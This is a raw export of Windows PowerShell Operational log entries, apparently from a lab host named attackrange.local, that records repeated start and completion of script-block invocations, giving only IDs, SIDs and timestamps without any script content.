SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040773
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040771
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040770
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040753
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040747
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
